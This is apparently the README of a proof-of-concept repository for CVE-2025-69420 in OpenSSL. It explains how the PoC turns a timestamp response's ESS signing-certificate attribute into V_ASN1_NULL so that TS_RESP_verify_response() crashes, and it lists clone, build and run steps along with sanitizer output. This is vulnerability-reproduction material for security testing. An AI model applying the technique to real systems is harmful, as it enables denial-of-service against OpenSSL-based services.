OpenSSL 中 CVE-2025-69420 的仅崩溃实验室复现器。该 PoC 加载一个有效的 RFC 3161 时间戳响应,在内存中将签名的 ESS 属性从 V_ASN1_SEQUENCE 更改为 V_ASN1_NULL,并调用 TS_RESP_verify_response()。
在受影响的构建上,ossl_ess_get_signing_cert_v2() 或 ossl_ess_get_signing_cert() 未经验证活动类型即将 ASN1_TYPE 联合体作为序列访问。UBSan 报告通过空 ASN1_STRING 指针访问成员。预期影响为进程终止/拒绝服务;此仓库不包含任何代码执行逻辑。
提供的测试输出确认了问题:
runtime error: member access within null pointer of type 'struct ASN1_STRING'
#0 ossl_ess_get_signing_cert_v2
#1 ts_check_signing_certs
#2 TS_RESP_verify_signature
#3 int_ts_RESP_verify_token
#4 TS_RESP_verify_response
这与漏洞描述相符:一个畸形的 TimeStamp Response 到达 TS_RESP_verify_response(),且类型非 V_ASN1_SEQUENCE 的 ESS 签名证书属性导致无效或空指针解引用。
仅在隔离环境中针对您拥有或有权评估的 OpenSSL 构建进行测试。此为纯崩溃复现器。
默认构建路径:
/path/to/openssl-3.0.7-asan
必要时可覆盖:
export OPENSSL_BUILD=/path/to/openssl-asan-build
git clone https://github.com/Kha-Beleh/PoC-CVE-2025-69420.git
cd PoC-CVE-2025-69420
export OPENSSL_BUILD=/path/to/openssl-3.0.7-asan
make prepare
make build
make run
或分别运行所有步骤:
./scripts/prepare.sh
./scripts/build.sh
./scripts/run.sh
prepare.sh 使用仓库自带的极简 openssl.cnf,因此不依赖缺失的 $OPENSSL_BUILD/ssl/openssl.cnf。
[+] Loaded valid TimeStamp Response
[+] Found attribute: id-smime-aa-signingCertificateV2
[+] Original ASN.1 type: 16
[+] Attribute changed to V_ASN1_NULL
[+] Calling TS_RESP_verify_response()
crypto/ts/ts_rsp_verify.c:...: runtime error: member access within null pointer of type 'struct ASN1_STRING'
#0 ... in ossl_ess_get_signing_cert_v2
#1 ... in ts_check_signing_certs
#2 ... in TS_RESP_verify_signature
#3 ... in int_ts_RESP_verify_token
#4 ... in TS_RESP_verify_response
确切的地址和行号因构建而异。设置 UBSAN_OPTIONS=halt_on_error=1 后,进程会在检测到第一个未定义操作时终止。
畸形属性应被干净拒绝,不会出现消毒器发现或进程崩溃。PoC 随后打印:
[+] Malformed response rejected without a crash
原始属性类型值 16 为 V_ASN1_SEQUENCE。PoC 将其更改为 V_ASN1_NULL。在受影响的实现中,代码随后将联合体成员视为 value.sequence 并对其解引用。由于活动成员不是序列,UBSan 检测到通过空 ASN1_STRING * 访问成员。
这是一个类型混淆/缺少异常条件检查的问题,而非堆或栈缓冲区溢出。
poc.c — 最小复现器scripts/prepare.sh — 生成 TSA 密钥、证书、请求和有效响应scripts/build.sh — 针对 ASan/UBSan OpenSSL 构建进行编译scripts/run.sh — 使用消毒器设置运行openssl.cnf — 最小的提供者/请求配置tsa.conf — 本地 RFC 3161 TSA 配置evidence/confirmed-output.txt — 截短的已确认消毒器跟踪4e254b48ad93cc092be3dd62d97015f33f73133a